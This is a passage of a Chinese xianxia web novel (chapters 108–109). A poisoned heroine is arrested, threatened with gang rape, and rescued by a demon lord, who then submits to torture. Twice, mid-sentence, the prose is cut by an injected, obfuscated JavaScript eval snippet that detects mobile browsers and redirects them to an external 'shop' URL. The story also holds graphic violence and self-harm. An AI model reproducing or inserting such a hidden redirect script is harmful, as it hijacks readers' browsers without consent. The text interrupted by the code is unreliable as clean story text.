陆轻苹有些狼狈地说道:“我那时走进那巷子没多久,肩膀叫人轻轻拍了拍,回过头见是个陌生男人,我料定那就是采花妖,同他攀谈几句,却寻不到机会放信号。后来萤木提剑跑进来,那妖怪应该是察觉不对要逃,我们刚动起手,眼前之景突变。” 他不经意间看向正在旁边散药的萤木:“我不知怎地到了另一处无人的街道。” 萤木走近道:“是啊,真奇怪呢,我也跟陆大人一样。”他举起剑,像是刻意强调,得意道:“不过,我这把剑也算是没白来。” 沈云起迷惘道:“那会是谁呢......” “大人提着的灯,就是动手那时候掉的?”周昭微微抬头,语气中却没有询问的意思,好像她只是突然想到了这么个无关紧要的问题,并不在乎答案。陆轻苹没有否认,周昭则轻轻哦了一声,又道:“张仙师,向您请教一个问题。” 对方正跟那些衙役大谈无相城抓丹青手的经历,略回了下头,挑眉示意她讲。 “这是只什么种类的蛇妖?譬如,多尾蛇?” 这句话显然引起了张仙师极大的兴趣,他暂且放下丹青手不谈,答道:“多尾蛇,顾名思义是有不止一条尾巴。这条蛇妖嘛......”他摸了摸长长的胡子:“像,又不像。” “何解?” “各位都看到了,它只有一条尾巴。不过,贫道刚才刺伤它尾巴时,见其尾两侧均有旧伤,如果是多尾蛇,那便说得通了。” 沈云起问道:“您是说它的尾巴被砍断了?” 张仙师道:“那伤口少说也有几百年啦,贫道也拿不准。不过,贫道倒是在一本古籍上见过一种蛇妖,名唤玉面郎君。” “玉面郎君?” “蛇妖性淫,多尾蛇尤甚。每当与人擦肩而过,便能偷来一张脸,且专爱偷年轻俊美的面孔......” 沈云起悄然挑了挑眉,显然并不认同这句话。 张仙师继续道:“等偷来这脸,便会去找年轻貌美的女郎诱其欢好,所以叫玉面郎君。但书中也说,多尾蛇最爱在与女子欢好到紧要关头时露出真面容,等对方吓得花容失色,便以其惊慌惧意为食。但这只蛇妖却没有害人性命,所以贫道才说像,又不像。” 受伤的衙役都已简单处理好伤口,此时更漏声敲响三下,众人身心俱疲,纷纷起身往回走。 陆轻苹的脸也变回了原本模样,萤木似乎对周昭犹为关切,跟在她身边问东问西。张仙师本来已经走了,又转身道:“小郎君,你要是为她好,就少说两句话。” 萤木正欲发问,对方却不打算再对他讲,将周昭偷偷摸摸拉到一边,小声说了几句话,周昭脸色霎那间十分难看,张仙师则挤眉弄眼道:“所以啊,我劝你早点去找上回那个娘娘腔……的头儿,看看他能不能为你解毒。”说罢,飘然离去。 等到了衙门,陆轻苹的家丁匆匆忙忙迎上来,显然是一直在此处等候,家丁附在陆轻苹耳边低声说了句话,他脸色微变,不动声色地看了周昭一眼,旋即离开。 走到门口,陆轻苹又回转来,命萤木与他同行,其余人目光艳羡,萤木看上去有些意外,但还是顺从地跟上去。 沈云起同样满脸倦容,简要交待县尉几句,临走时悄悄问周昭是否要送她回牵机营,周昭推说今日太累,等到了明日白天再回去不迟。 沈云起担忧道:“妹妹,你脸色瞧着不大好,真的不用现在就回去吗?” “不用,仙师的药很管用,大人放心。”许是周昭说话的语气与平时无异,沈云起又对那仙师很是信任,确认没问题后也随朝安离开了县衙。 县尉眼睛望天,正想着今夜难眠,一脸苦大仇深。等人都散了,见只剩那位来路不明的大人,小心翼翼道:“大人,后院设有厢房,虽然简陋点,也能凑合睡一晚,您看要不要......”谁知对方却摇头,面容平静道:“不必。”说完抬脚便走。 县尉想到这可能是国师大人兼陆总督的好友,要是在他这里出了事儿,那可得罪不起,慌忙道:“大人留步!” 他提着肥大的裤腰上前,劝道:“大人,这深更半夜,您独自出门,万一遇上那蛇妖回来报复,那如何是好!不如,您屈尊在这里将就一夜,明日我再送您回府去,如何?” “别跟着我!” 对方语气很冲,县尉不明觉厉,偷偷摸摸鼻子,只好作罢。等周昭走了,思来想去又不放心,换来两个值夜班的衙役偷偷跟上。 却说周昭出了衙门,她虽然脚步仍然沉稳,步伐并无异常,眼神也一如既往的冷静,实则却能感觉到身体悄然无息发生的变化。 这样的变化对周昭来说,无疑是陌生且致命的。她 绕过一条长街,便来到一处宅院,地方不大,也不算华丽,却胜在布局紧凑。 院子里面种着几棵亭亭如盖的大树,在浅浅的月光下微垂着枝桠,周昭下意识地先看了眼树干,然后才抬起手,轻轻敲门。 不多时,便有一位身穿号服的仆人打着呵欠的来应门。仆人看见周昭,立刻正色揉了揉眼睛,弯着腰将她请进门。 身后的门甫一关上,周昭终于忍不住软了脚,仆人见她脸色白得吓人,站在原地犹豫是来扶她还是进去叫人,周昭抬起头,轻声道:“无妨,不必惊动你家老爷。” 她说完这句话似乎都用了很大一番力气,停顿片刻:“麻烦给我一间能住的地方。” 仆人点点头,很快跑开了。 少时,一个四十岁上下的中年男人一边把胳膊往袖子里穿,一边小跑过来,显然是刚从被窝里钻出来的,但脸上却没有睡眼惺忪的倦意,眉心的皱纹随着脸上露出担忧的表情而向整张脸延伸开。 他三两步走到周昭面前,说话间露出两颗金灿灿的门牙:“丫头,你这是......” “大人,深夜打扰,还请您见谅。”周昭喘了口气,抓住贺金牙的手正微微颤抖,声音有几分低哑,却带着不容拒绝的语气,迫切道,“今夜想在您这里借住一晚,麻烦......给我一间、一间偏房。” 贺金牙显然想开口询问,周昭又道:“大人。” 她的语调很不自然,甚至有几分不寻常的尖利,贺金牙将话咽回去。仆人早已收拾好一处干净的房间,领着周昭往后院去。 周昭几乎是刚踏进房间,便转身关门落锁,动作之快简直可以说是一气呵成。 蛇本性淫……诱女子欢好。 ——你中的是那蛇妖的情毒,贫道给你这丹药仅能压制一时,等到毒发后果不堪设想。 周昭背靠门板长长的吐出一口气,紧绷着的身体因为终于回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117508|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个封闭的安全场所而微微放松,但这丝毫没有缓解身体里不断上涌的异样感觉。 那道士没骗我。但...... 周昭摊开手掌,里面赫然躺着那枚淡绿色的药丸,她蹙眉思索片刻,指尖用力,药丸顷刻间化成齑粉。 周昭上辈子未经情事,这辈子更是无从谈起,这情毒可以说正好打在七寸。 她无瑕去想到了真正毒发之时该怎么应对,掏出匕首紧紧握在手中,眼底压着一股深深的戾气,既是对自己如此大意的谴责,也是忍不住想用匕首在身上随便哪个部位刺上一刀的渴望。 但上天竟然帮了周昭个忙。 那阵熟悉的难以忍受的困意袭来,周昭知道这是少了魂魄的反噬,如今却无比感激,任由自己瘫倒在地上昏昏睡去了。 弯月渐渐模糊,窗外天色犹青。一丝薄薄的雾气氤氲在纱窗上,昭示着今日又是个雨雪天气。 周昭是被热醒的。 那不是简单的炎热,而是身体由内到外散发出来的燥热。她忍不住轻轻喘了口气,随即震惊地睁大眼睛,简直不敢相信那般声音是从自己口里发出来的。 这就是毒发吗? 周昭想也没想便抓起匕首在小臂上划了一道口子,鲜血汨汨流出,她竟然感到一阵前所未有的舒爽,这让她想起来上辈子杀人的感受,不由阵阵心惊。 那股情潮被痛感暂时压下去,正当此时,窗户却被人破开,周昭就像一头受惊的小兽望去,上官看到周昭的那一刻似乎惊讶地张大了嘴巴,随即别过脸去,有几分恼怒道:“让我好找。” 他戴着那只初见时的银色面具,整张脸遮得严严实实,只露出一双微微张开的大眼睛,上官想来抓周昭,又像是觉得不妥,压低声音叫道:“跟我走。” 周昭勉强后退些,带着怒气道:“出去。” 上官不由被这迫人的气势压住愣了片刻,随即又道:“时间紧迫,快随我回去!这毒只有主君能解!” 不提渡舟还好,一提渡舟,周昭就像是被什么东西咬了一口,脸色难看,低声喝道:“出去!” 她好像除了这两个字以外再不会多说半句,二人僵持片刻,上官急得走来走去,欲言又止,又像不敢看周昭现在的模样,只好重新翻窗出去,趴在墙根底下劝道:“大小姐,你到底别扭个什么啊?中了毒不回家,跑到这么个鬼地方来......” “……不是我家。”屋内传来闷沉沉的声音。 “好好好,是我家,我家行了吧。我的大小姐哎,您就行行好跟我回去成不成,您要是不挪窝,我会被弄死的!真的!”上官语气恳切,不像在说慌。 卯时刚到,传来一声高亢的鸡叫。 阵阵整齐划一的脚步伴随着铁甲兵器摩擦声,迅速地逼近这处安静的宅院,虽然尚看不见,但听声音已经近在迟尺。 上官转瞬间变了脸色,一脚踢开门闪身进去,半句废话也没有,干脆利落一掌击在周昭后颈,谁知周昭如今身中情毒反应却丝毫不差,竟从他掌下躲开去,抬眼警惕道:“终于要杀我了?” 上官恨得牙痒痒,他突然发现自己以前可能从来没看清周昭的真面目。他跟周昭也算出生入死过,却被这人一身刺扎了个透心凉。虽然时间紧迫,还是忍不住低声骂了句:“我真搞不懂你这人!” “去看看是谁?”周昭面无表情地命令道。 “哦。”上官刚答应完又后悔,我听她的干嘛…… 他躲在窗后看了一眼,语气凝重道:“是顾绍。” “顾绍?”周昭重复道,她微微挑眉,立刻反应过来自己被那小皇帝卖了,不容置疑道,“你现在就走,快。” 上官尚在犹豫,看着眼前这人如今还有心思笑,上官心知这一笑必定没好事。 果然,她将握了一整晚始终没放下的匕首横在脖子上,只消一个眼神,甚至连话都没说,上官二话不说立马从后窗翻走了。 几乎是他刚走,顾绍的声音就从屋外传来—— “牵机营包藏前朝余孽,刑部奉旨拿人!” 108. 第 108 章 顾绍正要推门而进,不料门从里面打开,露出一双漂亮的女人眼睛。 看见他的那一瞬间,就像投石入湖,那双眼睛泛起一丝浅浅的涟漪,顾绍很难说清那是什么,不是被围捕后该有的恼羞成怒,也不是面对他这个“敌人”的憎恨。 相反,那里头盛着一种莫名其妙的痛惜与哀伤。 总之,顾绍心中像是被一根刺不痛不痒地扎了一下,这位杀人不眨眼的大将军,被这落在他脸上的目光刺得情不自禁想后退半步。 但仅仅是一瞬,他的脸上现出凶相,低喝道:“带走!” 周昭双手被缚,穿过黑压压的禁军看到了贺金牙,架在脖子上的雪白剑刃照出他那张皱皱巴巴中年人面孔,既是惊惧,又是担忧。 经过贺金牙身边时,周昭步子停顿,低声道:“大人,抱歉,又连累你了。” 寒冬的长街格外凄冷,这一夜漫长得没有尽头。 周昭踏着冰冷的月光,身上有种犯人不该有的平静。顾绍观她背影,连自己都没发现目光几乎是黏在周昭身上。不过,他多半想的是这样的绝色女子若是被一刀砍头,实在可惜。 从顾绍有记忆开始便追随皇帝,从不曾忤逆皇帝的意见,至于皇帝跟他讲的周昭是什么前朝余孽,顾绍半个字也不信。 “将军,你今年多大了?”听见周昭问。顾绍没吭声,周昭又道:“家中妻儿,一年见几回?” “与你何干?” “没什么,我只是想到丞相的千金,自戕得不明不白,又想起那日在街上遇见将军......”周昭说,“原来,将军也负心。” 丞相女儿之死早就传开了是那翰林院的书生负心所致,书生“杀人”,又胆小如鼠,周昭却拿凶手跟他相提并论。 顾绍脸色发青,本欲发怒,看着周昭颈后露出的皮肤,言语又浪荡起来,凑近道:“不妨本将军去求圣上,让你做我帐下军妓,到了那时,‘负心’二字你才有资格说得。” 他二人离得近,顾绍几乎是贴在周昭后背讲话,说完,周昭果然脸一白,疾行几步同他拉开距离。 顾绍心道:“还当这妮子多厉害,也是个会害怕的主儿。”他登时觉得无聊,没兴趣再与周昭讲话,岂料对方却突然转身,莞尔一笑,故意低声道:“听说将军爱杀军妓取乐,死的,都是些被将军这张阴阳面吓到的女子吧?” 周昭话音极低,确保只有顾绍能听到,心中因为这不择手段的后悔尚未浮起来,脸上便挨了重重一巴掌。 顾绍的声音咆哮而至:“你说什么!”他下手极重,周昭半个身子都被打偏,她先是感觉到右耳阵阵尖利的嗡鸣,然后才是双手按在地上被粗粝的石子摩擦带来的剧痛。 她的嘴角很快流下一道鲜血,并没有人因为突如其来的变故而抬头看,人人都惧怕这位喜怒无常的大将军,不愿引火上身。 顾绍亦知自己失态,理了理衣裳,将周昭一把从地上提起来,凌厉道:“再多说半句,本侯不保证你能完完整整走到牵机营。” 他一怒之下说出“牵机营”三个字,周昭并没有流露出意外的表情,后半程路果然再没有开口说话。 天色很暗,从远山飘来丝丝微雨,像一口没有密封好的漆黑水缸,往外头持续不断地沁出来水珠子。 顾绍在牵机营外站定,摸了摸下巴,眸光飘忽不定。 从大路另一侧传来阵阵马蹄声,在这黎明前的街道犹为冷寂。 这支军队足有数千人之多,为首的自然是禁军总督陆轻苹。 他轻轻勒住缰绳,下马,神情微妙地在周昭身上淡淡掠过,随后走向顾绍,行礼道:“将军。” 顾绍微微颔首,打量陆轻苹一番,语气是压不住的狂傲:“圣上派你来?” 陆轻苹答道:“是。” 顾绍还想说什么,那阵雨斜斜地越过房顶飘落下来,于是他转身抬了抬手,禁军很快将这里包围地水泄不通,犹如铁桶,他面向陆轻苹道:“要我说,这地方早该抄了。” 陆轻苹低着头,没有吭声。 顾绍又摸了摸下巴,按理说禁军的声势足够浩大,但所谓的牵机营里却一点儿声音都没有,透出诡异的安静来。 他生性多疑,不愿冒进,再看陆轻苹,这文弱书生似乎也打定主意,不做打头阵的人:“东西带来了?” “带来了。”陆轻苹道。 顾绍冷笑一声,傲慢道:“圣上也是多疑,不过抓一个人,何必如此兴师动众。” 在他们说话的时候,周昭丝毫没注意到身边押着自己的禁军换了人,直到听见有人低低地在笑,目光才舍得偏了偏。 那名“禁军”还是笑,靠近她低声道:“我来看看渡舟怎么死的。” 他声音极低,整张脸也被头盔遮住大半,但周昭看他一眼便认出这是梁文潜,对方又道:“周昭啊周昭,你聪明一世,糊涂一时。你当交出那本所谓牵机营犯罪的证据,小皇帝就能乖乖任你摆布吗?再说你那东西不痛不痒,有什么屁用?” “所以,你们想出牵机营窝藏前朝余孽的由头?”周昭勉强说出完整的句子,语气中的嘲讽不言而喻,显然是觉得这手法并不高明。 梁王瞪她一眼,狐疑道:“……你脸怎么这么红?” 周昭不吭声,梁王也没有追问,自顾自地嘿嘿笑了两声:“我该说你蠢,还是装?那只是个幌子,真正的筹码......” 他落在周昭身上的眼神让她极不舒服:“反正你也想杀渡舟,被小皇帝摆了一道又如何,待会儿,你好好配合那位陆大人就是。只要你多流几滴眼泪,我保证,渡舟今晚走不出去。” “这里头是有活阎王?将你们一个个吓得这么齐整!”一声怒喝打断周昭的话。 原来是到了门口,士兵们却面面相觑不敢上前,惹得顾绍发怒。 他抽出剑,眼神如狼般扫视,最后落在台下被绑住双手的周昭身上,下巴抬了抬,叫道:“把那个女人给本侯带上来!” “有好戏看啦......”梁王贼眉鼠眼地注视着周昭被带走,浑身上下的血液沸腾起来。就好像回到当年他骑着马,踩着周朝人的尸体,一步步踏进永安门的场景,让他阵阵兴奋。 周昭步伐缓慢,陆轻苹眼尖地注意到她每走一步,地上便留下点点血迹,更不可能错过她浮肿的面颊,上前一步,皱眉道:“你被打了?” 周昭并不作声,顾绍粗鲁地拽着周昭的胳膊,将人恶狠狠往地上一贯,饶是如此也没能让周昭哼一声,陆轻苹眉眼郁色更甚,但并未制止。 “将军!”一名禁军小跑着上前,附在顾绍耳边悄声说了句什么,对方脸上浮现出阴恻恻的笑意,居高临下地看向周昭,“原来,咱们这位金枝玉叶的殿下......” 他弯下腰,捏住周昭的下巴仔细看了看。刚才来人说周昭身中蛇妖情毒,但顾绍再怎么看,注视着自己眼睛都一如既往的平静,根本不像毒发的样子。 顾绍眯起眼睛,忽然注意到她那双颜色过于鲜艳饱满的唇,齿痕遍布,他顺着地上的血迹看去,突然抓住周昭藏在袖中的手,笑说:“你就是用这个克制?” 他手里举着一个被鲜血染红的瓦片,边角锋利,很容易刺进肌肤。 周昭脸色发白,屈辱地别开脸去。 这种事情,绝不会再有下次。 陆轻苹冲上前,应该是想撩开周昭的衣袖看看,但仅限于手指头动了动,他收回视线,语气难得急躁,说道:“将军,夜长梦多,咱们还是速战速决。不如我先带人进去,如何?” 说是来查封牵机营的,却耽搁许久无一人敢进,传出去实在不好听。 顾绍示意左右砸开门,将周昭拖起来拎进去,军令如山,很快禁军鱼贯而入,在牵机营身上蒙了数百年的神秘面纱就此揭下—— 大宣的天,要变了。 “将军,总督大人,没人。” “一个人都没有?”顾绍问。 “没有。” “会不会是人已经走了,我带人出城去追。”陆轻苹尚未转身,顾绍抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121360|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,叫道:“不用!” 他目光阴暗,舔了舔嘴唇,提着剑在偌大的庭院里走了几步,来到周昭面前,盯着她说道:“你现在很不好受吧?”他目光下流,周昭闭上眼睛不想看。 “不说话?还是不敢说话?”顾绍抬手摩挲着周昭那只尖下巴,满意地看着周昭浑身打了个寒颤,极度不适地向后避开。 “将军!”陆轻苹制止道,“她毕竟是......” 顾绍松开手,淡漠道:“是牵机营的狗罢了,你还真信她是真心助咱们?哼,陆总督,牵机营那位从不露面的主子叫什么?” “......渡舟。” 顾绍满意点点头,将一枚丹药强行塞入周昭口中,掐住脸迫使她咽下去,低声道:“既然你不开口,那就乖乖做个陪衬。事成之后,你报了仇,我尽了忠,虽然羞辱了点,也算两全其美之事。” 那药丸又苦又涩,入喉刺痛难忍,周昭动了动嘴唇,发现自己已经不能再说话了。 顾绍无视周昭眼中的愤怒,就着掐住脸颊的姿势强迫她转过身子,道:“诸位兄弟,可曾见过这等绝色?” 众人惊讶不敢出声,顾绍笑说:“比之本侯帐中军妓虽然不如,但也算是个美人。” 他故意停顿片刻,又道:“既然渡舟不肯出来,不如本侯将这女子赏给兄弟们尽兴,如何?” 此言一出,就算是最胆小的士兵也忍不住睁大眼睛,露出难以置信又跃跃欲试的神情。 但到底是摸不准顾绍的心思,虽有美人在前,仍无人敢应声,顾绍心知肚明,在这些人即将破土而出的欲望上添了把火,高声道:“此女身中情毒,若无人解毒,圣上要的人犯毒发身亡,岂不是本王的罪过?” 像是为了应证自己的话,顾绍掰过周昭的下巴,力气大到简直要把骨头捏碎,不易察觉的潮红从她露出的脖颈爬上来,火光中映出一张颜色艳艳的脸。 顾绍仰头笑道:“看见了吧,她毒发了。” “……我、我来!”重金之下必有勇夫,何况天下少见的美人。 “我也愿为将军分忧!” 一时间,交织着各色最下流欲望的眼神,都一个个接一个落在周昭身上,如狼似虎,简直恨不得就在这里扒开周昭的衣服。 这些人里,只有一名不起眼的士兵面容平静—— 他并没有穿禁军盔甲,而是一身普通衙役装束,正是被陆轻苹带走的萤木。 顾绍状似随意,实则从人群中挑了个最老最丑的男人,随意道:“就你了。” “真、真的吗?”那是个四十多岁的胖子,五官像是生下来的时候脸着地,因此虽然眼睛也有,鼻子也有,但没有一样儿是端正的。更不必说那张脸长满了麻子,实在丑陋。 胖子显然是被天降好运砸了个晕头转向,顾绍向前推了把周昭,一副看好戏的模样。 陆轻苹一介清流出身,自然看不惯如此行径,忍不住劝道:“将军,不能这么做。” 顾绍此时心思不在陆轻苹这边,不然就能听出他虽然是劝谏,语气却生冷得有些僵硬,他本来就没把这位书生总督放在眼里,喝道:“哪里轮得到你来教训本侯!你!麻溜的过来!把她带到房里去弄,不准关门!” 按理说凭刚才对周昭的亲近和少年人的一腔孤勇,萤木应该有所表示才对,但他站在最后,既没有表现出对于周昭即将受辱的愤慨,也没有试着阻止这件事的打算。 不过,随着胖子慢慢走近,萤木的目光流露出一种和年纪不相符的悲悯。 胖子急不可耐地搓了搓手,脸上的麻子仿佛都在叫嚣着浑身的欲望,□□道:“美人儿,我......啊!” 他惨叫一声,看着一只手掌从眼前飞过去,瞪大眼睛,直到断臂处喷出来的鲜血滚烫地溅在脸上,才动了动眼珠子,反应过来刚才飞过去的是自己的手掌,惨叫声愈发尖利,叫道:“我的手!” 萤木像是松了口气,隐入人群。 一个声音冷冷地道:“断手,算是便宜你。” 109. 第 109 章 雨丝翻飞,烈风狂舞。 这阵突如其来的雨中,惨叫声不绝于耳,无数只手齐刷刷从掌根被砍断,鲜血喷溅得到处都是。 渡舟的面容苍白得像个从棺木里爬出来的死人,神情冷漠到了极点,眼底压着翻涌的怒意,眉心则印着一个暗红色的九瓣莲印记,简直就像—— “鬼啊!!!”有人叫道。 “原来在这儿。”萤木低声喃喃,又笑了笑,“这的确是不好找啊……”他转身便走,不再留恋。 不过瞬息之间,凡是刚才站出来的都被砍断双手,这压根不是寻常人能做到的事情。 那些断了手的士兵一边尖叫一边跌跌撞撞地狂奔出去,片刻不敢回头,生怕被厉鬼锁了命去。 地上到处是断手,有的手指甚至还没反应过来已经脱离身体犹在抽动。顾绍在胖子的手被砍断时就已经闪身至周昭身侧,挡住她,回头又惊又惧地叫道:“你就是渡舟?!” 渡舟一言不发,目光轻轻描摹过周昭的脸。他蹙起眉头,似乎很想走过去,又闭上眼睛极为克制地吐出一口气,再抬眸,已经只剩那让人望而生畏的寒意。 “知道这个名字的,最好是死人。” 顾绍虽然被眼前一幕震惊,但毕竟久经沙场,身上自有一股为将之人临危不惧的气质,更何况他将渡舟稍纵即逝的紧张看得清清楚楚,愈发用力地攥住周昭这张底牌,镇静道:“牵机营包藏祸心,意图谋反,人证物证俱在,本侯同陆大人奉命查封此地,你可有异议?” 渡舟冷笑道:“就凭你们?” 若是渡舟乖乖束手就擒,难免反常,但听他语气断然不肯,顾绍反而安心下来,阴恻恻道:“你是妖,我们这些凡人当然不能就这么抓住你。但若是一只元气大伤的妖怪,再加上......” 他看了看周昭,又来了底气,笑说:“本王不觉得,你能活着走出这里。” “哦,谁告诉你我受伤了?”渡舟道。 “这个嘛,不重要。”顾绍摸摸下巴,“但你刚才强行动用妖法,难道没察觉此处早已布下锁妖阵?我想,这时候你想出去也难吧?” 顾绍抓住周昭往前推了推,但十分警惕地不给渡舟救人的机会。 不知是不是被喂了哑药让她的意志力没有刚才那么强硬,还是这靠自残压制了一时半刻的毒性又卷土重来,周昭双目实在算不得清明,她昏昏沉沉,只听见顾绍吵得厉害。 “这是你的人吧?本王只听说过人为情所困,却没见过妖痴心一片。这女子先是隐瞒身份,又背叛了你,圣上面前容不得弃主之人,所以让本王将她带来问一句,这人你要是不要?如果不要,圣上说,谋反之事便一笔——” “我要。” 这两个字却听得清清楚楚,周昭于混沌中惊讶抬头,渡舟却没看她。 顾绍虽然早知道他会这么说,但就这么被直白地打断还是愣了愣,又试探道:“那......你愿意认罪?若你认罪,圣上会放了她。” 渡舟语气极为不耐道:“赵允城还说什么了?总不至于就这样想杀了我,他脑子进水了?我说认罪,你敢接手吗?” “这个,大人无需操心。”角落里的陆轻苹示意左右拿出一副沉重的镣铐,他看向渡舟那张并不陌生的脸,微微挑了挑眉,像是想起来从前几桩旧事。 陆轻苹道:“大人只需要戴上镣铐......” “锁不住我。” “......我们知道,”陆轻苹面露尴尬,顾绍接话道:“这是钦原骨刺,专对付你这种槐树妖!” 渡舟眉尖微不可察地跳了跳,顾绍看在眼里,道:“怎么样?要打,还是戴上钦原骨刺?先说好,如果要打,我不保证会不会误伤你的人。” 他虽然故作轻松地问,目光却不敢从渡舟身上移开一丝一毫,直觉告诉他渡舟这个人及其危险。 布下锁妖阵的人,不是也说阵法能限制渡舟法力吗?但这人一出手便伤了几十名武艺高强的禁军,实在不容小觑。 “……我戴上它,你就放人?”渡舟轻轻抿唇。 “当然。”顾绍唇边漾开恶毒的笑,他拎着周昭越来越软的身子往上提了提,周昭宛如一具软绵绵的玩偶倒在顾绍身上,“再说这女人中了毒,耽搁久了,不好。” “别碰她,这话我不会说第二遍。”渡舟语气平静得可怕,顾绍竟然忍不住想在这目光的逼视下低下头,一个可怕的念头浮上来:如果渡舟想,他这两只手早就不翼而飞了。 顾绍吞了吞口水,陆轻苹忙附耳道:“将军,困兽逼不得,不如见好就收。”顾绍点点头,但一时又不知该怎么处置周昭,陆轻苹指了指身后。 院中恰好有处别致的小亭子,亭中置着几只黄花梨木太师椅,是从前上官跟周昭闲聊的地方。陆轻苹指的就是那儿,顾绍松开神志不清的周昭,交由陆轻苹带过去。 “告诉赵允城,再有下回,我让大宣给他陪葬。”等周昭安稳坐下,渡舟毫不犹豫地丢开昆仲。 顾绍听得心惊肉跳,他突然有个隐隐的念头—— 渡舟之所以束手就擒,完全是因为这名女子跟他们搅和在一起,是这名女子想要他死,所以他肯。这与皇帝无关,与他们带了多少人来无关。 陆轻苹似乎等得太久,刚一回来,立刻带人走到渡舟身边,他并未亲自动手,而是由两名禁军将镣铐戴在渡舟身上。 这幅镣铐除了比平常囚犯所戴得更沉重之外,最重要的是它配套了四只锋利的骨刺,那是用钦原鸟的喙部加上血,融入精铁之中淬炼而成的。 渡舟神态自若,禁军取出铁锤跟骨刺,陆轻苹微微抬头,嘴唇动了动,低声道:“大人,得罪了。” 骨刺足有三寸有余,小指粗细,尖端闪着锋利的光芒。两名禁军分别将骨刺放进镣铐上留出的小孔,然后抬起铁锤铮地一声砸下去。 渡舟还是一声不吭。 第一下,铁钉刺进皮肉。 第二下,则穿透腕骨。 周昭虽然意识早已混乱不堪,但却听得见铁钉敲进人骨的声音,她那双空洞无神的眼睛猝然睁大,像是不敢相信地偏过头。 可惜陆轻苹安置她的位置不巧,几张宽大的太师椅连同那张桌子将她整个身体挡得严严实实,什么也看不见。 树木遇钦原则枯,树妖也是一样,就像最滚烫的烙铁被活生生敲进骨髓,最炽热的火焰灼烧皮肉。于树妖而言,这毫无疑问是致命的伤。 渡舟呕出一口黑血,摇摇晃晃几下,勉强站住。 顾绍欣赏着眼前这幅赏心悦目之景,道:“别急,还有两根。” 一共四根骨刺分别钉入手腕脚腕,渡舟紧蹙着眉,似乎极为痛苦,又强忍住,连整张脸仅剩的唇色都变成了触目心惊的寡白。 陆轻苹带人退下,渡舟被关进一只抹了钦原血的巨大铁笼,他甫一坐好,抬眸道:“放了她。” 顾绍没想到会这么顺利,答应得十分爽快。 渡舟开始断断续续地低咳,每咳嗽一声,都会有鲜红的血沫子从口里溢出来,他便用手背轻轻擦去,先是血沫子,后来是呕出的血。 渡舟似乎很不情愿在人前露出这幅模样,用那只苍白的手捂住口唇,不肯让血再喷出来。他喉咙动了动,到好像是将呕出的血又咽了回去。 他咳嗽了一阵,神情疲倦地靠在铁笼里,微微阖着双目,原本只是鬓边白发,如今却因妖力全失突然间墨发全白,愈发衬得眉心那朵九瓣莲妖冶诡异。 顾绍面露惊讶,旋即笑道:“这妖怪,也不过如此嘛。” 小亭传来一声响,渡舟听见声音,眼皮动了动,张开毫无神采的双眸望过去,他眉头微微蹙着,让人猜不透在想什么。 “渡舟要死啦!”有人跳出来叫道。 梁王抚掌而出,眼放精光地绕着关渡舟那只铁笼转圈,兴奋道:“渡舟小儿!你也有今天!” “滚。”渡舟看也不看,淡淡道。 “妈的!”梁王摩拳擦掌,要不是碍于这只上锁的铁笼,他显然准备再暴打渡舟一顿以解心头之恨,但他一靠近铁笼,又被渡舟阴寒的目光逼退半步,转向陆轻苹道,“赵允城说了,等渡舟一死,这张脸得归我。” 陆轻苹点点头,顾绍双手抱胸,显然是想看着渡舟咽气才离开。 梁王捡起一柄剑,大着胆子对准渡舟的身体戳了两下,渡舟毫无反应,梁王哈哈笑道:“这人真快死了!” 顾绍并不阻止,梁王又道:“把这锁打开,我看看他死没死。” 铁锁落地,梁王眼珠子咕噜噜转,他盘算的可不是赵允城许诺的良田黄金,也不是渡舟这张脸…… 虽然梁王不得不承认渡舟的人皮挑不出一点儿错,若能用上一用也不亏。 他死死地盯住渡舟小腹,贪婪地咽了咽口水—— 无相妖主的内丹,天下仅此一颗。 梁王握着剑,似乎在思考该从哪里下手比较好,但剖内丹他没干过,再说是渡舟这只大妖的内丹,他一时间还真有些不敢动手。 正犹豫时,一个声音由远及近道—— “师父,我将这蛇妖抓来了。” 梁王本来尚在犹豫,听见这个声音脸色骤变,也顾不得渡舟死没死透,扑将过去,竟是要生生将内丹剖出来。但他的剑尖还没靠近,便连剑带人从铁笼里飞了出去。 “哎哟!”梁王跌了个跟斗,头盔从脖子上咔嗒滚落下来,那颗丑陋无比的人头也跟着掉下来滚出老远。 来人衣着华贵,皮肤白细,身后跟着两名长相同样温柔的美貌少女,说是九洲城一位娇生惯养的小王爷也不为过。 但顾绍看得清清楚楚,就是这人突然出手,戒备道:“你是何人?” 他微微一笑,并不回答。 从他一走进这里,目光率先落在关着渡舟的钦原铁笼,好像在确认什么。男子抬起右手打了个手势,他身后靠右侧那名少女上前一步,手里托着一只刺绣精美的布袋。 众人正好奇那袋子里是什么,只见少女面不改色地打开袋口,底儿朝下,砰的一声响,从小小的口袋里面倒出来一条巨蟒。 众人连声后退,渡舟像是被这阵响动吵得又活过来,费力地睁开眼睛,道:“是你。” “是我。”折杞微笑道。他抬起头四处张望,看见周昭时小声地啊了一句,很是遗憾道:“可惜昭姐姐现在状况不大好,不然,昭姐姐应该很愿意听听老熟人讲故事,我也费了很大力气才将他抓来呢。” 那条巨蟒正是不久前才跟周昭他们打过一场的“玉面郎君”多尾蛇,他逃走时分明力气尚足,眼下却呈现出半死不活之态, 